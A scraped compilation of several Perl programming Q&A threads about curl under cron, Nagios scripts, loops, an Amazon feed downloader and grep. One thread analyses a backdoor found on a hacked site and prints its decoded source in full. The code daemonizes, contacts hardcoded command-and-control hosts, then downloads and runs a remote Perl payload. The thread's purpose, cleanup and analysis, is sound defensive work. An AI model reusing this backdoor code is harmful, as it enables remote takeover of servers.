Curl crashes when running under cron - perl

I've got a really bizzare problem, I've googled this to death, and cannot for the life of me find an answer. I'm a bit of a newbie to programming (lt 2 years) so sorry if this is something obvious, or I've not provided adequate detail
The Problem is...
curl crashes when I call it for the 5th time in a while loop (when run from root's cron).
curl is fine when I run said while loop manually whilst logged in (about 50 iterations).
I run a bash script from cron
The bash script runs a perl script
The perl script calls curl within a while loop
On the 5th iteration of this while loop, curl is called and crashes (no output)
I'm running cron as root (crontab -u root /path/to/the/crontab/file)
I don't think it's environment based, as it runs fine 4 times
If I end the while loop at 4 itterations and start it again, it still fails, so I figure the problem is not with the while loop.
This exact script works fine on my old server running Ubuntu desktop ( I'm now on Ubuntu server 10.04)
I think this a problem between curl and cron.
The line of the crash looks like this (vars filled in)
$err = system("/usr/bin/curl -f -v -s -r "36155357-36259993,36790101-37194555,53623979-53745261" http://nomads.ncep.noaa.gov/pub/data/nccf/com/gfs/prod/gfs.2012040100/master/gfs.t00z.mastergrb2f21 -o /root/Desktop/getGFS_uploadGFS/GFS/windvect/gfs.t00z.mastergrb2f21.tmp");
I'm totally stumped write now, if anyone has any ideas it would be much appreciated. Below is the while loop (with the crash point highlighted near the bottom).
while ($fhr <= $hr1) {
if ($fhr <= 9) { $fhr="0$fhr"; }
$url = $URL;
$url =~ s/\$FHR/$fhr/g;
$url =~ s/\${FHR}/$fhr/g;
$file = $url;
$file =~ s/^.*\///;
#
# read the inventory
# $line[] = wgrib inventory, $start[] = start of record (column two of $line[])
#
if ($windows eq 'yes') {
$err = system("$curl -f -s $url$inv -o $OUTDIR/$file.tmp");
$err = $err >> 8;
if ($err) {
print STDERR "error code=$err, problem reading $url$inv\n";
sleep(10);
exit(8);
}
open (In, "$OUTDIR/$file.tmp");
}
else {
open (In, "$curl -f -s $url$inv |");
}
$n=0;
while (<In>) {
chomp;
$line[$n] = $_;
s/^[^:]*://;
s/:.*//;
$start[$n] = $_;
$n++;
}
close(In);
if ($n == 0) {
print STDERR "Problem reading file $url$inv\n";
sleep(10);
exit(8);
}
#
# find end of record: $last[]
#
$lastnum = $start[$n-1];
for ($i = 0; $i < $n; $i++) {
$num = $start[$i];
if ($num < $lastnum) {
$j = $i + 1;
while ($start[$j] == $num) { $j++; }
$last[$i] = $start[$j] - 1;
}
else {
$last[$i] = '';
}
}
if ($action eq 'inv') {
for ($i = 0; $i < $n; $i++) {
print "$line[$i]:range=$start[$i]-$last[$i]\n";
}
exit(0);
}
#
# make the range field for Curl
#
$range = '';
$lastfrom = '';
$lastto = '-100';
for ($i = 0; $i < $n; $i++) {
$_ = $line[$i];
if (/$LEVS/i && /$VARS/i) {
$from=$start[$i];
$to=$last[$i];
if ($lastto + 1 == $from) {
$lastto = $to;
}
elsif ($lastto ne $to) {
if ($lastfrom ne '') {
if ($range eq '') { $range = "$lastfrom-$lastto"; }
else { $range = "$range,$lastfrom-$lastto"; }
}
$lastfrom = $from;
$lastto = $to;
}
}
}
if ($lastfrom ne '') {
if ($range eq '') { $range="$lastfrom-$lastto"; }
else { $range="$range,$lastfrom-$lastto"; }
}
if ($range ne '') {
#################################################################################
########### THE BELOW LINE IS WHERE CURL IS CALLED AND IT CRASHES ###############
#################################################################################
$err = system("$curl -f -v -s -r \"$range\" $url$grb -o $OUTDIR/$file.tmp");
$err = $err >> 8;
if ($err != 0) {
print STDERR "error in getting file $err $url$grb\n";
sleep(20);
exit $err;
}
rename "$OUTDIR/$file.tmp", "$OUTDIR/$file";
$output = "$output $OUTDIR/$file";
}
else {
print "no matches (no download) for $file\n";
}
$fhr += $dhr;
}

Why do you want to shell out to curl? If it's just the range, that's easy:
use v5.10.1;
use Mojo::UserAgent;
say Mojo::UserAgent->new->get(
'http://www.example.com',
{ 'Range' => 'bytes=500-600' }
)->res->body;
There are also Perl bindings to libcurl: Net::Curl and WWW::Curl.

Related

Decrypt obfuscated perl script on hacked site

I was cleaning out a client's site that got hacked after I had cleaned it once already, when I found a cron job pointing to a script in the server /tmp directory:
https://pastebin.com/uXCSXxdn
The first 6 lines look like this:
my $gVcoQXKQ='';$gVcoQXKQ.=$_ while(<DATA>);$gVcoQXKQ=unpack('u*',$gVcoQXKQ);$gVcoQXKQ=~s/295c445c5f495f5f4548533c3c3c3d29/616962786d6065606062697f7f7c6360/gs;eval($gVcoQXKQ);
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
M($E/.CI3;V-K970["G5S92!)3SHZ4V5L96-T.PHD?"`](#$[("9M86EN*"D[
M"G-U8B!M86EN"GL*97AI="`P('5N;&5S<R!D969I;F5D("AM>2`D<&ED(#T#
The rest is just 121 more lines of that DATA block. I ran the file through Virustotal and it came back clean, but I am certain this is not a non-malicious file. Is there any way to safely decrypt it so I know where to look and see if it dropped another payload somewhere on the site?
If you want to see the deobfuscated code, here are the steps to do it. Note that what you will be doing is dangerous, because if you accidentally execute the code, your machine will be attacked. You are warned.
Note that these steps are for THIS EXAMPLE only. Other attack scripts may have other things in them. They may need other changes than what is detailed below.
Here are the steps for the original example that was posted.
Copy all of your program into original.pl. It will look like this:
my $gVcoQXKQ='';$gVcoQXKQ.=$_ while(<DATA>);$gVcoQXKQ=unpack('u*',$gVcoQXKQ);$gVcoQXKQ=~s/295c445c5f495f5f4548533c3c3c3d29/616962786d6065606062697f7f7c6360/gs;print($gVcoQXKQ);
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
Change the eval on the first line to print. IF YOU DON'T CHANGE THE eval TO print, THEN THE NEXT STEP WILL PERFORM THE ATTACK ON YOUR MACHINE.
Now, run the program, after you have changed the eval to print.
perl original.pl > unencoded.pl
The new unencoded.pl program will look like this, with no indentation:
#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
Now use the B::Deparse module to interpret and reformat the program. MAKE SURE YOU HAVE -MO=Deparse OR ELSE YOU WILL RUN THE ATTACK.
perl -MO=Deparse unencoded.pl > formatted.pl # Note the -MO=Deparse!!!
Running through the Deparse module will say:
unencoded.pl syntax OK
The new formatted.pl program will be a nicely formatted copy of the attacker's payload, 213 lines long, and you can examine what the script does. Note that the final program is still dangerous, because it is the attack program that the attacker wanted to run.
The format shown is simply uuencoding. I copied the pastebin-ed text, pasted it into https://www.browserling.com/tools/uudecode, which showed it's this not-actually-obfuscated Perl code:
#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
my $url = ["5.135.42.98:80","ixjeunsdms.org:80","95.216.98.49:443","heyhajksds.com:443","skjfdnlakdp.net:80"];
my $rnd = ["a".."z", "A".."Z"]; $rnd = join ("", #$rnd[map {rand #$rnd}(1..(6 + int rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$rnd")) { close F; unlink "/tmp/$rnd"; $dir ="/tmp"; }
my ($header, $content);
my ($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs (#$url)
{
$header = "$dir/" . time; $content = $header . "1";
unlink $header if -f $header; unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open (F, "<", $header))
{
flock F, 1;
my ($test, $task) = (0, "");
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$test ++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/;
}
close F;
($link, $file, $id, $command, $timeout) = &decxd($task) if $test == 2 && length $task;
}
unlink $header if -f $header; unlink $content if -f $content;
}
exit 0 if !defined $command || $command !~ /^16$/;
$header = "$dir/" . time; $content = "$dir/$file";
unlink $header if -f $header; unlink $content if -f $content;
&http($link, $timeout, $header, $content, 1);
my ($resp, $size) = ("000", 0);
if (open (F, "<", $header))
{
flock F, 1;
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$resp = $1 if /^HTTP\S+\s+(\d\d\d)/;
}
close F;
}
$size = (stat $content)[7] if -f $content;
$size = 0 if !defined $size || $size !~ /^\d+$/;
if ($size > 0)
{
chmod 0755, $content;
system "perl $content >/dev/null 2>&1";
}
unlink $header if -f $header; unlink $content if -f $content;
foreach my $rs (#$url)
{
$header = "/dev/null"; $content = $header;
&http($rs, 10, $header, $content, 0, "$id.$resp.$size");
}
exit 0;
}
sub xorl
{
my ($line, $code, $xor, $lim) = (shift, "", 1, 16);
foreach my $chr (split (//, $line))
{
if ($xor == $lim)
{
$lim = 0 if $lim == 256;
$lim += 16;
$xor = 1;
}
$code .= pack ("C", unpack ("C", $chr) ^ $xor);
$xor ++;
}
return $code;
}
sub decxd
{
my $data = pack ("H*", shift);
#_ = unpack ("C5", substr ($data, 0, 5, ""));
return (&xorl(substr ($data, 0, shift, "")), &xorl(substr ($data, 0, shift, "")), #_);
}
sub http
{
my ($url, $timeout, $header, $content, $mode, $gecko) = #_;
$gecko = "20100101" if !defined $gecko || !length $gecko;
my ($host, $port, $path) = $url =~ /^([^\/:]+):*(\d*)?(\/?[^\#]*)/;
return unless $host;
my $addr = gethostbyname $host;
return unless $addr;
$port ||= 80;
$path ||= "/";
$addr = sockaddr_in($port, $addr);
my $readers = IO::Select->new() or return;
my $writers = IO::Select->new() or return;
my $buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.1",
"Host: $host",
"Cookie: PHPSESSID=295c445c5f495f5f4548533c3c3c3d29",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/$gecko Firefox/60.0",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.1",
"Accept-Language: en-us,en;q=0.8",
"Accept-Encoding: gzip, deflate",
"Accept-Charset: ISO-8859-1,utf-8;q=0.1,*;q=0.8",
"Connection: close",
"\x0D\x0A"
);
if ($mode)
{
$buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.0",
"Host: $host",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/$gecko Firefox/61.0",
"Accept: text/html,*/*",
"Connection: close",
"\x0D\x0A"
);
}
my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
return unless $socket;
$socket->blocking(0);
unless ($socket->connect($addr))
{
unless ($! == POSIX::EINPROGRESS)
{
close $socket;
return;
}
}
$writers->add($socket);
$timeout += time;
my $step = 0;
while (1)
{
IO::Select->select(undef, undef, undef, 0.02);
my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
foreach my $handle (#$writable)
{
if ($step == 0)
{
$step = 1 if $handle->connected;
}
if ($step == 1)
{
my $result = syswrite ($handle, $buffer);
if (defined $result && $result > 0)
{
substr ($buffer, 0, $result) = "";
if (!length $buffer)
{
$readers->add($handle);
$writers->remove($handle);
$step = 2;
}
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
}
my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
foreach my $handle (#$readable)
{
next if $step < 2;
my $result;
if ($step == 2)
{
$result = sysread ($handle, $buffer, 8192, length $buffer);
}
else
{
$result = sysread ($handle, $buffer, 8192);
}
if (16384 < length $buffer)
{
$timeout = 0;
}
elsif (defined $result)
{
if ($result > 0)
{
if ($step == 2)
{
my $offset = index ($buffer, "\x0D\x0A\x0D\x0A");
next if $offset < 0;
if (open (F, ">>", $header))
{
flock F, 2;
binmode F;
print F substr ($buffer, 0, $offset);
close F;
}
substr ($buffer, 0, $offset + 4) = "";
$step = 3;
}
if ($step == 3)
{
if (length $buffer)
{
$buffer =~ s/%EHLO_VALUE%/295c445c5f495f5f4548533c3c3c3d29/gs;
if (open (F, ">>", $content))
{
flock F, 2;
binmode F;
print F $buffer;
close F;
}
$buffer = "";
}
}
next;
}
$timeout = 0;
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
if ($timeout < time)
{
foreach my $handle ($writers->handles, $readers->handles)
{
$writers->remove($handle) if $writers->exists($handle);
$readers->remove($handle) if $readers->exists($handle);
close $handle;
}
return;
}
}
}
The clues were a) recognising the distinctive format; b) also recognising the unpack('u*'). No machines, virtual or otherwise, were put at risk in this process.
The code has 5 URLs, and the http function implies it "phones home" to those, getting commands to execute in a Set-Cookie: PHPSESSIONID= header. I haven't analysed it further than that.
Replace eval with print to see what the script is running. The portion you provided generates readable code.
My first thought was to deparse it but that won't be of much use since most of the code is in the DATA block. You could replace the eval() function with print() and let the script decode it for you. You might end up needing deparse for what print gives you.

Perl subroutine not running when script executed from Nagios XI back-end

I have a Perl script that is executed from Nagios XI.
It has two subroutines: SendEmail and SendTraps.
The script works fine when executed manually by passing the required parameters, but it doesn't work when triggered from Nagios. The script gets executed but the subroutines are skipped.
echo is working, but the two subroutines are not working even if the condition is met.
if ( ( $hoststatetype =~ m/HARD/ ) && ( $hoststate =~ m/DOWN/ ) ) {
`echo "HOST::$prihost $hostoutput">>/tmp/failover_log.txt`;
sendMail();
send_trap();
}
Full script here:
use strict;
use warnings;
use Text::CSV;
# Declared all the variables here
# Parsing input arguments
if ( $#ARGV > -1 ) {
if ( $ARGV[0] eq "-nagiosxi_trigger" ) {
$prihost = $ARGV[1];
$hoststate = $ARGV[2];
$hoststatetype = $ARGV[3];
$hostoutput = $ARGV[4];
}
elsif ( $ARGV[0] eq "-manual_trigger" ) {
$comment = $ARGV[1];
$userid = $ARGV[2];
$flag = "Failover-Trigger_Manual";
print "Maunal Failover triggered with comment: $comment by $userid\n";
$error_desc = "Maunal Failover triggered with comment: $comment by $userid";
send_trap();
sendMail();
exit 0;
}
else {
print STDERR "Invalid parameter $ARGV[0] \n";
exit 1;
}
}
else {
print STDERR "ERROR:No Arguments Passed.\n";
exit 1
}
# Check if Host or Service is in Hard/down state
if ( ( $hoststatetype =~ m/HARD/ ) && ( $hoststate =~ m/DOWN/ ) ) {
`echo "HOST::$prihost $hostoutput">>/tmp/failover_log.txt`;
sendMail();
send_trap();
}
elsif ( ( $hoststatetype =~ m/SOFT/ ) && ( $hoststate =~ m/DOWN/ ) ) {
`echo "HOST::$prihost $hostoutput">>/tmp/failover_log.txt`;
}
else {
`echo "HOST Good, $prihost $hostoutput">>/tmp/failover_log.txt`;
}
# Sub-Routines
sub failover {
my $csv = Text::CSV->new({ sep_char => ',' }) or die "Cannot use CSV: ".Text::CSV->error_diag ();;
my $file = "myxilist";
my $primary;
my $secondary;
#my $xienv;
my $host = `hostname`;
chomp $host;
open( my $data, '<', $file ) or die "Could not open '$file' $!\n";
while ( my $xi = <$data> ) {
chomp $xi;
if ( $csv->parse($xi) ) {
my #fields = $csv->fields();
if ( $fields[0] =~ m/$host/ ) {
$primary = $fields[1];
$secondary = $fields[0];
$xienv = $fields[2];
}
elsif ( $fields[1] =~ m/$host/ ) {
$primary = $fields[0];
$secondary = $fields[1];
$xienv = $fields[2];
}
}
else {
warn "Line could not be parsed: $xi\n";
exit 1;
}
}
my $failovermsg="failover successful from $primary to $secondary server";
return $failovermsg;
}
sub sendMail {
# Build the list for mailing out results
my $mailSubject;
my $mailID = "test\#mail.com";
my #results = failover();
$mailSubject = "Failover Successful on $xienv instance";
print "Sending email to $mailID \n";
`echo "sending Email">>/tmp/failover_log.txt`;
open MAILX, "|/usr/bin/mailx -s \"$mailSubject\" $mailID " or die $!;
print MAILX "#results";
close MAILX;
return;
}
sub send_trap {
# Sending SNMP traps
my #results = failover();
my $trap = `/usr/bin/snmptrap -v 2c -c public tcp:server:1010 '' MIB::Event Hostname s "$xienv" nSvcDesc s "$flag" nSvcStateID i 2 nSvcOutput s "#results"`;
return;
}
Any thoughts what could be missing?
Issue was in the failover() SubRoutine. I was calling a file "myxilist" that was present in the same directory as the script.
So, the script was working fine when called manually, but when it is triggered from application, script is getting executed from some other directory and the failover sub exits, as it's not able to open the file.
I've provided the full path of the file and the script works fine.
Thank you all for your help.

Perl Script not running correctly

When ever I run this bit of code. it doesn't display any output. Anyone see anything wrong?
I am trying to display this in the out put:
A
AA
AAA
AAAB
AAABA
AAABAA
AAABAAA
AAABAAAB
etc.
#!/usr/local/bin/perl
$A = 3;
$B = 1;
$i = 1;
$output = "";
$j = 1;
while ($i <= $ARGV[0]) {
while ($j <= $i) {
if ($A == 0 && $B == 0) {
$A = 3;
$B = 1;
}
if ($A > 0) {
$output.= "A";
$A--;
}
else {
$output.= "B";
$B--;
}
$j++;
}
print($output . "\n");
$i++;
}
It works for me when I run it with a numeric argument (number of lines).
An idea how to simplify the code:
#!/usr/bin/perl
use warnings;
use strict;
my $count = shift;
my $A = 3;
my $B = 1;
my $string = q();
$string .= ('A' x $A) . ('B' x $B) while $count > length $string;
print substr($string, 0, $_), "\n" for 1 .. $count;
It uses a different algorithm - it creates the longest possible string, and then outputs parts of it.
if there is no #ARGV, while ($i <= $ARGV[0]) never runs.
#ARGV is an array of the command line arguments provided when the script is executed. you did not provide any command line arguments. if you had use warnings in effect, you would be warned that $ARGV[0] is uninitialized.
As from ikegami comment. You cann't pass the input at when the program is compile. For example, consider your file name is algo.pl. Can you run your program with
perl algo.pl 10
Here 10 is the input value of the program. In program value is retrieve by the $ARGV[0]
so in your program looks like while ($i <= $ARGV[0]).
If you want pass the several values like perl filename.pl 12 data1 data2In your data retrieve by $ARGV[0] $ARGV[1] $ARGV[2] for more information see here.
If you want pass the input at the time of execution used STDIN
use warnings;
use strict;
my $A = 3;
my $B = 1;
my $i = 1;
my $output = "";
my $j = 1;
print "Enter the value: ";
chomp(my $value = <STDIN>);
while ($i <= $value) {
while ($j <= $i) {
if ($A == 0 && $B == 0) {
$A = 3;
$B = 1;
}
if ($A > 0) {
$output.= "A";
$A--;
}
else {
$output.= "B";
$B--;
}
$j++;
}
print($output . "\n");
$i++;
}

Modify Perl download script to uncompress files

I have a problem and I don't know how to solve it. I have to download some files from Amazon, and I cannot use Open-Uri in Ruby.
Amazon provides a Perl script to me to download these files, but I don't know Perl, and I need to modify the script.
use strict;
my $NA_SERVER = "https://assoc-datafeeds-na.amazon.com";
my $EU_SERVER = "https://assoc-datafeeds-eu.amazon.com";
my $FE_SERVER = "https://assoc-datafeeds-fe.amazon.com";
my $CURL="/usr/bin/curl"; # Update this to an appropriate location of the curl executable
my ($feed_filename, $md5_filename, $user, $pass, $out_dir, $region) = parse_argv();
my $server;
if($region eq "NA")
{
$server = $NA_SERVER;
}
elsif($region eq "EU")
{
$server = $EU_SERVER;
}
elsif($region eq "FE")
{
$server = $FE_SERVER;
}
else
{
print "ERROR: Invalid region: $region\n";
exit(1);
}
my $feed_names = read_feed_names($feed_filename);
my $old_md5_hash = read_md5($md5_filename); # Hash from feed name to MD5
my $new_md5_hash = fetch_new_md5($user, $pass, $server);
for my $feed_name (#$feed_names)
{
my $feed_new_md5 = $new_md5_hash->{$feed_name};
if(!defined($feed_new_md5) || $feed_new_md5 eq "")
{
print "ERROR: no md5 found for feed $feed_name, skipping it\n";
next;
}
my $feed_old_md5 = $old_md5_hash->{$feed_name};
if(defined($feed_old_md5) && $feed_old_md5 eq $feed_new_md5)
{
print "$feed_name has the same md5 ($feed_new_md5), skipping download for it\n";
}
else
{
print "$feed_name changed md5 from $feed_old_md5 to $feed_new_md5, downloading it\n";
my $success = download_feed($user, $pass, $feed_name, $out_dir, $server);
if($success == 1)
{
report_success($user, $pass, $feed_name, $server);
$old_md5_hash->{$feed_name} = $feed_new_md5;
save_md5($md5_filename, $old_md5_hash);
}
}
}
sub download_feed
{
my ($user, $pass, $feed_name, $out_dir, $server) = #_;
my $cmd = "$CURL --location --user $user:$pass -C - --digest -k $server/datafeed/getFeed?filename=$feed_name -o $out_dir/$feed_name";
my $success = 0;
my $sleep_secs = 5;
unlink "$out_dir/$feed_name"; # delete the file if it already exists
for(my $i = 0; $i < 4; $i++)
{
system($cmd);
if($? != 0)
{
print "Command [$cmd] failed with exit code $? ($!), retrying after $sleep_secs seconds\n";
sleep($sleep_secs);
}
else
{
$success = 1;
last;
}
}
if($success == 1)
{
# Download succeeded, and here I have to UNZIP
}
else
{
system($cmd);
if($? != 0)
{
print "ERROR: command [$cmd] failed with exit code $? ($!). Skipping this file\n";
}
else
{
$success = 1;
}
}
return $success;
}
sub report_success
{
my ($user, $pass, $feed_name, $server) = #_;
my $cmd = "$CURL --user $user:$pass --digest -k '$server/datafeed/reportStatus?success=1&filename=$feed_name'";
my $cmd_out = `$cmd`;
if($? != 0)
{
print "ERROR: command [$cmd] failed: $!\n";
# Suppress this error since it's not fatal
}
if($cmd_out =~ m/error/i)
{
print "ERROR: command [$cmd] returned error response - $cmd_out\n";
# Suppress this error since it's not fatal
}
}
sub read_feed_names
{
my ($feed_filename) = #_;
my #feeds;
open(FEEDS_FILE, $feed_filename) or die "could not open file $feed_filename: $!\n";
while(my $line = <FEEDS_FILE>)
{
chomp($line);
push(#feeds, $line);
}
return \#feeds;
}
sub read_md5
{
my ($filename) = #_;
my $md5_hash;
if(! -e $filename)
{
open(FILE, "> $filename") or die "could not open $filename: $!\n";
return $md5_hash;
}
# Else read the file's contents
open(FILE, $filename) or die "could not open $filename: $!\n";
while(my $line = <FILE>)
{
chomp($line);
my #arr = split(/\t/, $line);
if(scalar(#arr) != 2)
{
# Line is corrupted. Truncate entire file to clear corrput contents
open(FILE, "> $filename") or die "could not open $filename: $!\n";
$md5_hash = {};
return $md5_hash;
}
$md5_hash->{$arr[0]} = $arr[1];
}
close(FILE);
return $md5_hash;
}
sub save_md5
{
my ($filename, $md5_hash) = #_;
my $tmp_filename = $filename . "." . $$;
open(FILE, "> $tmp_filename") or die "could not open $tmp_filename: $!\n";
foreach my $key (keys(%$md5_hash))
{
my $value = $md5_hash->{$key};
print FILE "$key\t$value\n";
}
close(FILE);
system("mv $tmp_filename $filename");
}
sub fetch_new_md5
{
my ($user, $pass, $server) = #_;
my $new_md5_hash; # feed name to md5
my $cmd = "$CURL --user $user:$pass --digest -k $server/datafeed/listFeeds?format=text";
if(!defined(open(LIST_FEEDS, "$cmd |")))
{
print "ERROR: could not execute command: [$cmd], error code: $!\n";
exit(1);
}
while(my $line = <LIST_FEEDS>)
{
my #arr = split(/\t/, $line);
if(scalar(#arr) != 4)
{
print "ERROR: Failed to list feeds\n";
exit(1);
}
$new_md5_hash->{$arr[0]} = $arr[2];
}
return $new_md5_hash;
}
sub parse_argv
{
my ($feed_filename, $md5_filename, $user, $pass, $out_dir, $region); # Return values
my $i = 0;
my $num_args = $#ARGV + 1;
while($i < $num_args)
{
my $key = $ARGV[$i];
if($key eq "--input")
{
$feed_filename = $ARGV[$i + 1];
$i = $i + 2;
next;
}
elsif($key eq "--md5-file")
{
$md5_filename = $ARGV[$i + 1];
$i = $i + 2;
next;
}
elsif($key eq "--user")
{
$user = $ARGV[$i + 1];
$i = $i + 2;
next;
}
elsif($key eq "--pass")
{
$pass = $ARGV[$i + 1];
$i = $i + 2;
next;
}
elsif($key eq "--dir")
{
$out_dir = $ARGV[$i + 1];
$i = $i + 2;
next;
}
elsif($key eq "--region")
{
$region = uc($ARGV[$i + 1]);
$i = $i + 2;
next;
}
elsif($key eq "--help")
{
usage_help();
exit(0);
}
else
{
print "Unrecognized argument ($key), skipping it\n";
$i = $i + 1;
next;
}
}#while
if((!defined($feed_filename) || $feed_filename eq "") ||
(!defined($md5_filename) || $md5_filename eq "") ||
(!defined($user) || $user eq "") ||
(!defined($pass) || $pass eq "") ||
(!defined($out_dir) || $out_dir eq "") ||
(!defined($region) || $region eq ""))
{
usage_help();
exit(1);
}
return ($feed_filename, $md5_filename, $user, $pass, $out_dir, $region);
} #parse_argv()
sub usage_help
{
print "This program requires the following arguments -\n\n";
print "\t --input <filename>: path to filename containing list of feed names to be downloaded, one per line\n";
print "\t --md5-file <filename>: path to filename where md5 checksums will be stored\n";
print "\t --user <user>: user name for logging onto Associates S3 Proxy\n";
print "\t --pass <pass>: password for logging onto Associates S3 Proxy\n";
print "\t --dir <dir>: directory where feeds will be stored\n";
print "\t --region <region>: must be one of {NA,EU,FE}\n";
}
I figure where to insert the unzip command, but I don't know how to unzip every downloaded file...
Any hint?
Check if you have the unzip command and if it is so, try it:
if($success == 1)
{
# download succeeded and here I have to UNZIP
$unzip_cmd = "unzip $out_dir/$feed_name"
system($unzip_cmd);
}

grep word in text files using perl

I have a text file A00010.txt A00011.txt A00012.txt to A00099.txt in myfolder which contains different entries like,
umxwtdn8vtnt_n
umxwtdtnt_nn8v
umxwt_ntdn8vtn
u8vtnt_nmxwtdn
utnt_nmxwtdn8v
my perl code is
#!/usr/bin/perl
use strict;
my $count = 10;
for ($count = 10; $count<= 99; $count++) {
my $result = `/bin/cat /myfolder/A000$count.txt | grep "umxwtdn8vtnt_n"`;
return $result;
}
print $result;
i trying to get $result value but show empty
Is /myfolder really in the root directory? (what do you see in ls /? Do you see myfolder?) It's very rare to add things in the root directory in a Unix system, and I don't think you are messing with /.
Also, you are returning $result outside a subroutine (sub { }), and if that's the case, you should get a Perl runtime error.
If you are copying code fragments, then please note that $result is a local variable and it disappears after a subroutine ends.
Do you really need to use Perl?
If not:
find /myfolder -name "A000??.txt" | xargs grep -n "umxwtdn8vtnt_n"
Will find the pattern in your files and tell you at which line...
Would you like to know if the pattern is in one or more of your files? Then:
my $not_found = 1;
for (my $count = 10; $count<= 99; $count++) {
my $result = `grep "umxwtdn8vtnt_n" /myfolder/A000$count.txt`;
if ($result) {
print $result;
$not_found = 0; # error level 0 = no error = found
last;
}
}
exit $not_found; # error level 1 = error = not found
Still trying to understand your need... what about:
my $result;
for (my $count = 10; $count<= 99; $count++) {
# you should test that A000$count.txt actually exists here
my $match = `grep "umxwtdn8vtnt_n" /myfolder/A000$count.txt`;
if ($match == "umxwtdn8vtnt_n") {
print "found $match in A000${count}.txt";
$result = $match;
last; # exit for loop
}
}
if ($result) {
# do something with it?
}